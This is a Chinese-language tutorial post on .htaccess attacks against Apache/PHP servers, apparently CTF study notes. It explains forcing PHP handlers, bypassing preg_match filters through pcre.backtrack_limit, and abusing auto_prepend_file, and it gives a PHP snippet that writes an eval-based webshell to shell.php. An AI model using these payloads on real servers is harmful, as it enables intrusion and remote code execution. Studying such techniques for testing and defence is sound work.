【Web安全】htaccess攻击

.htaccess攻击

文章目录

  • .htaccess攻击
    • 1. .htaccess文件
    • 2. 常见用法
      • 2.1. 自定义出错界面
      • 2.2. 强制文件执行方式
      • 2.3. PCRE绕过正则匹配
      • 2.4. php_value修改php设定
      • 2.5. php_value文件包含
      • 2.6. 把htaccess当作php

1. .htaccess文件

.htaccess是Apache网络服务器一个配置文件,当.htaccess文件被放置在一个通过Apache Web服务器加载的目录中,.htaccess文件会被Apache Web服务器软件检测并执行,通过.hatccess文件,可以改变Apache服务器软件的功能和特性。在这之前先了解apache中的httpd.conf文件,这是apache的配置文件,由于网站的发展来看大多数网站都是通过协同来进行的,个人很难通过修改httpd.conf来修改apache的配置特性,所以引出了.htaccess文件的概念,它有着和httpd.conf文件相同的作用。

.htaccess文件提供了针对目录的配置变换方法,这样有利于不同目录用不同的配置,即在一个特定的文档中放置一个htaccess文件以作用此目录及其所有子目录,并且可以被子目录覆盖。作为网站管理员可以限制htaccess文件的使用,方法就是将Apache中的AllowOverride设置为All,以及mod_rewrite.so(在httpd.conf文件中)

  • 允许重写覆盖相关配置:
# Deny access to the entirety of your server's filesystem. You must
# explicitly permit access to web content directories in other 
# <Directory> blocks below.
#<Directory />Options +Indexes +FollowSymLinks +ExecCGIAllowOverride AllOrder allow,denyAllow from allRequire all granted
</Directory>
  • 允许在httpd.conf外重写配置:
#LoadModule request_module modules/mod_request.so
#LoadModule reqtimeout_module modules/mod_reqtimeout.so
LoadModule rewrite_module modules/mod_rewrite.so   <--这一个
#LoadModule sed_module modules/mod_sed.so
#LoadModule session_module modules/mod_session.so

如果一个web应用允许上传htaccess文件并且允许重写,那就意味着可以更改apache的配置包括过滤操作,攻击想象面极大。

2. 常见用法

参考于[CTF].htaccess的使用技巧总结,由于是偏笔记类的博客,所以不给出太多的案例。

2.1. 自定义出错界面

使用htaccess创建自定义的出错界面,这也可以是一个URL,对于linux来说:

ErrorDocument 404 /path/to/your/error/pages/404.html  
ErrorDocument 500 /path/to/your/error/pages/500.html

但是对于windows来说我用这种方式不行,它会显示找不到我也不知道为什么,或者直接显示文件名(同一个目录),但是由于它可以是一个url所以我使用http协议,当然也可以使用目录穿越:

ErrorDocument 404 http://127.0.0.1/upload-labs-master/upload/error/error.php
ErrorDocument 404 http://127.0.0.1/upload-labs-master/upload/../upload/error/error.php

2.2. 强制文件执行方式

ForceType application/x-httpd-php
SetHandler application/x-httpd-php

这一种方式可以强制文件被哪一个解析器执行,尤其是利用修改后缀的木马文件。

AddHanlder application/x-httpd-php .htm,则.htm文件也可以执行php程序
AddType application/x-httpd-php .xxx 同上AddHandler的作用

AddType和AddHanlder同理,但是一般能上传htaccess文件的一般直接使用SetHandler了

在这里插入图片描述

2.3. PCRE绕过正则匹配

PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

php_value pcre.backtrack_limit 0

简单总结一下,假如我们有一个php语句为<?php phpinfo();?>abcdef,不管什么文件后缀都会执行正则匹配

preg_match('/<\?.*[(`;?>].*/is', $data);  

其中正则匹配循环到这两个.*已经匹配完所有字符了即到达abcdef的f,但是点星后面还有字符所以会进行回溯,重点就是这个回溯操作。回溯过程就是从f开始往前匹配,如果其中有匹配[(`;?>]的就结束,这个就是点星的匹配逻辑,如果没有回溯则点星就会匹配完<?php phpinfo()?>abcdef,而不满足原来则正则表达式,所以会返回false从而实现绕过。php设定了回溯最大次数,如果我们修改这个回溯次数为0,超过最大次数就会返回false(不是0也不是1,但是正常的匹配是会返回0或1的),可以实现绕过。

但是存在非贪婪模式的正则匹配,那可以输入大量的字符在/**/注释符中,使回溯次数超过限制。

解决方案就是,使用全等号来判断返回值。

2.4. php_value修改php设定

想要使用htaccess修改php的设定,需要有AllowOverride Options 或AllowOverride All 权限才可以。

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。(注,这是原作上写的,我按照过程实践了一遍,value有值还是可以修改设定,先放着吧)

而.htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令(https://www.php.net/manual/zh/configuration.changes.modes.php)
而具体的类型的指令可以参考官方文档https://www.php.net/manual/zh/ini.list.php

可以利用这个创建一句话木马,只要将写木马的代码以合法的后缀(啥都行,一个字母也行)传送到网站中即可。

php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt 在主文件解析后自动解析1.txt的内容
<?php
$new_file_name = "shell.php";
$shell_content = '<?php @eval($_POST[\'x\']);?>';if (file_put_contents($new_file_name, $shell_content) != false) {
echo "Shell文件创建成功";
} else {
echo "创建Shell文件失败";
}
?>

创建的shell在被解析文件的目录中

2.5. php_value文件包含

php_value的作用还可以文件包含,在作用范围内的php文件头/尾自动include指定文件,支持php伪协议.htaccess可以使得include默认路径改变,即:

在这里插入图片描述

通过改变include_path的值可以实现默认路径改变。

2.6. 把htaccess当作php

  • 当前文件下有php文件
php_value auto_append_file .htaccess
#<?php phpinfo();
  • 当前文件下没有php文件,先要设置htaccess允许访问
<Files .htaccess>SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

下面知识比较模糊,之后总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/731819.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Neo4J图数据库入门示例

前言 - Neo4j和MySQL的区别 Neo4j 和 MySQL 是两种不同类型的数据库&#xff0c;它们在数据模型、用途、性能和查询语言等方面有着显著的区别。以下是它们的主要区别&#xff1a; 数据模型&#xff1a; Neo4j 是一种图数据库&#xff0c;它使用图数据模型来存储和查询数据。在…

【面试精讲】Java动态代理是如何实现的?JDK Proxy 和 CGLib 有什么区别?

Java动态代理是如何实现的&#xff1f;JDK Proxy 和 CGLib 有什么区别&#xff1f; 目录 一、Java动态代理的实现 1、使用JDK Proxy实现动态代理 2、使用CGLib实现动态代理 二、JDK Proxy 与 CGLib 的区别 三、Spring中的动态代理 四、 Lombok代理原理 总结 前言 本文…

21 easy 1. 两数之和

//给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 // // 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里不能重复出现。 // // 你可以…

Day18:信息打点-小程序应用解包反编译动态调试抓包静态分析源码架构

目录 小程序获取-各大平台&关键字搜索 小程序体验-凡科建站&模版测试上线 小程序抓包-Proxifier&BurpSuite联动 小程序逆向-解包反编译&动态调试&架构 思维导图 章节知识点 Web&#xff1a;语言/CMS/中间件/数据库/系统/WAF等 系统&#xff1a;操作系…

effective c++ 笔记 条款49-52

条款 49&#xff1a;了解 new-handler 的行为 当operator new无法满足某一内存分配需求时&#xff0c;会不断调用一个客户指定的错误处理函数&#xff0c;即所谓的 new-handler&#xff0c;直到找到足够内存为止 new-handler 是一个 typedef&#xff0c;指向一个无参数值无返回…

设计模式-行为型模式-职责链模式

在软件系统运行时&#xff0c;对象并不是孤立存在的&#xff0c;它们可以通过相互通信协作完成某些功能&#xff0c;一个对象在运行时也将影响到其他对象的运行。行为型模式&#xff08;Behavioral Pattern&#xff09;关注系统中对象之间的交互&#xff0c;研究系统在运行时对…

逻辑回归原理skearn简单实现

理论解释 理解“逻辑回归”的名字&#xff0c;需要拆开理解&#xff0c;拆成两部分&#xff1a;“逻辑”和“回归” “回归””来自其父级&#xff0c;即广义线性回归模型。 “逻辑”如何理解&#xff1f;Logistic 不应该翻译成“逻辑”&#xff0c;因其语义来自Logarithm&…

C++:多态

目录 1、多态的概念 2、多态如何实现 虚函数 虚函数的重写 虚函数重写的两个例外&#xff1a; c11中 override与final 3、重载 、重写、重定义的区别。 1、重载 2、重写 3、重定义 接口继承和实现继承 4、动态绑定与静态绑定 5、虚函数表 1、单继承中虚函数表 …

Uber/Google Golang编码标准深度分析

良好的代码风格对于开发优秀的产品至关重要&#xff0c;本文通过分析比较三部流传甚广的Golang代码风格指南&#xff0c;介绍了Go代码风格要点&#xff0c;并介绍了通过工具实现代码检查的方式。原文: Mastering Go: In-Depth Analysis of Uber and Google’s Coding Standards…

C++矢量运算与java矢量运算

矢量运算 概述&#xff1a; 矢量运算是一种基于向量的数学运算&#xff0c;它遵循特定的法则。以下是矢量运算的一些基本原理&#xff1a; 矢量加法&#xff1a;可以使用平行四边形法则或三角形法则来执行。当两个矢量相加时&#xff0c;可以将它们的起点放在同一个点上&…

RabbitMQ篇

1.初始MQ 1.1. 同步和异步通讯 微服务间通讯有同步和异步两种方式&#xff1a; 同步通讯&#xff1a;就像打电话&#xff0c;需要实时响应。 异步通讯&#xff1a;就像发邮件&#xff0c;不需要马上回复。 两种方式各有优劣&#xff0c;打电话可以立即得到响应&#xff0c;…

初阶数据结构:排序(学习笔记)

目录 1. 各种排序算法的分类2. 插入排序2.1 直接插入排序2.2 希尔排序 3. 选择排序3.1 选择排序3.2 堆排序4. 交换排序4.1 冒泡排序4.2 快速排序4.2.1 霍尔法&#xff08;hoare&#xff09;4.2.2 挖坑法&#xff08;hole&#xff09;4.4.3 前后指针法4.4.4 补充&#xff1a;非递…

Armadillo:C++线性代数运行库的版本更迭史

API 添加和更改的历史记录 文章目录 API 稳定性和版本政策&#xff1a;每个版本的添加和更改列表&#xff1a;版本12.8&#xff1a;版本12.6&#xff1a;版本12.4&#xff1a;版本12.2&#xff1a;版本12.0&#xff1a;版本11.4&#xff1a;版本11.2&#xff1a;版本11.0&…

存货计价方式 比较-移动平均和批次计价

SAP常用的存货计价方式有 标准价格移动平均价格批次计价 标准价格常用于制造企业&#xff0c;今天的方案比较主要集中在销售型企业常用的移动平均价和批次计价 批次计价&#xff1a; 移动平均&#xff1a; 两种计价方式的Pros&Cons 比较 批次计价 移动平均优点 1…

超好用的一键生成原创文案方法

在现代社会中&#xff0c;原创文案不管是在营销中&#xff0c;还是在品牌推广中都起着至关重要的作用。然而&#xff0c;对于许多人来说&#xff0c;创作出令人印象深刻且引人注目的原创文案并不容易。但随着技术的发展&#xff0c;我们现在可以利用一键生成原创文案的方法来帮…

黑马java-JavaSE进阶-java高级技术

1.单元测试 就是针对最小的功能单元方法&#xff0c;编写测试代码对其进行正确性测试 2.Junit单元测试框架 可以用来对方法进行测试&#xff0c;它是第三方公司开源出来的 优点&#xff1a; 可以灵活的编写测试代码&#xff0c;可以针对某个方法执行测试&#xff0c;也支持一键…

基于springboot的水果购物商城管理系统(程序+文档+数据库)

** &#x1f345;点赞收藏关注 → 私信领取本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345;** 一、研究背景…

Pinctrl子系统_04_Pinctrl子系统主要数据结构

引言 本节说明Pinctrl子系统中主要的数据结构&#xff0c;对这些数据结构有所了解&#xff0c;也就是对Pinctrl子系统有所了解了。 前面说过&#xff0c;要使用Pinctrl子系统&#xff0c;就需要去配置设备树。 以内核面向对象的思想&#xff0c;设备树可以分为两部分&#x…

rabbitmq3

指定通过通道将消息发送给哪个消息队列 同一个通道可以向不同的队列发送消息的&#xff0c;如果你绑定的队列和发布消息的队列不一致也是可以的&#xff0c;这个才是真正的发布消息去具体的某一个队列&#xff1a; 如果队列没有持久化&#xff0c;就不会把这个消息队列保存在磁…

stm32学习记录-5.2PWM输出控制sg90舵机角度

源码连接&#xff1a;https://gitee.com/HL12334/stm32-learning-code 前提知识&#xff1a; 1.定时器中断 1.关键概念 1.1pwm输出 1.常用术语 OC&#xff08;output compare&#xff09;输出比较CNT&#xff08;counter&#xff09;&#xff0c;定时器中用于计数的寄存器…